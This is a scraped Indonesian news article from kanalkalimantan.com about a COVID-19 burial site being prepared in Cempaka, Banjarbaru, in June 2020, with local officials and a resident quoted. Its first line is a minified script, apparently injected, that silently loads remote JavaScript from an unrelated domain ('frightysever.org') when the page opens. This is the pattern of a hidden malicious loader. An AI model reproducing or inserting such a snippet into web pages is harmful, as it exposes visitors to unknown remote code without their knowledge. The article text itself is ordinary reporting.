(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Lahan seluas kurang lebih 2 hektare telah disiapkan sebagai lokasi permakaman jenazah Covid-19 di kota Banjarbaru. Adapun lokasi lahan permakaman ini berada di Kelurahan Cempaka, Kecamatan Cempaka.
Rabu (10/6/2020) siang, Kepala Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru Muriani didampingi Kabid Pertamanan PJU dan Permakaman Sartono, meninjau langsung area permakaman tersebut.
Peninjauan ini merupakan tahap persiapan akhir sebelum difungsikannya lahan sebagai lokasi permakaman Covid-19. Dalam hal ini, Disperkim Banjarbaru meninjau berbagai fasilitas dan sarana yang ada di area permakaman.
“Hari ini kita meninjau berbagai kesiapan. Seperti halnya alat penerangan saat malam hari, jalan akses masuk, dan juga menentukan arah kuburan sesuai kiblat,” katanya kepada Kanalkalimantan.com.
Ditetapkannya lokasi permakaman Covid-19 di wilayah Kecamatan Cempaka, kata Sartono, merupakan arahan yang telah diberikan oleh tim Gugus Tugas daerah. Terlebih lagi, lokasi permakaman ini juga berada dalam radius 750 meter-1 kilometer dari permukiman warga.
Lokasi permakaman di Kecamatan Cempaka ini telah mendapatkan izin dari lurah setempat dan telah disosialisasikan kepada masyarakat. Oleh karena itu, ditegaskan Sartono bahwa tidak ada unsur penolakan dari warga sekitar.
“Permakaman Covid-19 ini kita nyatakan sudah siap. Prioritas utama untuk masyarakat sekitar di Kecamatan Cempaka. Kalau masyarakat kecamatan lain masih diperbolehkan. Tetapi kalau masyarakat di luar Banjarbaru, belum ada arahan sampai ke situ,” jelas Sartono.
Sementara itu, Auliya (29) warga Kecamatan Cempaka, mengaku memang telah lama mengetahui informasi adanya permakaman Covid-19 di sekitar lingkungan tempat tinggalnya. Namun begitu, dirinya juga tidak menolak atas kebijakan yang diambil oleh pemerintah tersebut.
“Tidak papa, asal jauh dari permukiman. Kalau bisa, jalan masuk ke permakaman jangan bersinggungan dengan akses jalan lingkungan warga,” harapnya.
Menilik data angka kematian kasus Covid-19 Banjarbaru, sampai pada Selasa (9/6/2020) kemarin, telah ada dua orang yang dinyatakan meninggal dunia. Selama ini, baik jenazah positif terpapar Covid-19 maupun yang masih berstatus suspect dimakamkan di wilayah Kabupaten Banjar, lantaran belum adanya permakaman khusus Covid-19 di wilayah Banjarbaru. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.